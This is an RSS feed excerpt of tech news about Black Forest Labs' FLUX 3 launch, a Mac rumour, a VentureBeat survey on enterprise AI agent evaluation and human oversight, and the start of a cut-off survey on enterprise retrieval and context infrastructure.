<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cavalcade of New Macs Is Coming, Report Says, Starting With M6 MacBook Pro This Fall]]></title>
<description><![CDATA[We could also see the first new iMac in two years, followed by redesigned MacBooks and iMacs with OLED displays next year.]]></description>
<link>https://tsecurity.de/de/3689914/it-nachrichten/cavalcade-of-new-macs-is-coming-report-says-starting-with-m6-macbook-pro-this-fall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689914/it-nachrichten/cavalcade-of-new-macs-is-coming-report-says-starting-with-m6-macbook-pro-this-fall/</guid>
<pubDate>Thu, 23 Jul 2026 20:06:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We could also see the first new iMac in two years, followed by redesigned MacBooks and iMacs with OLED displays next year.]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is 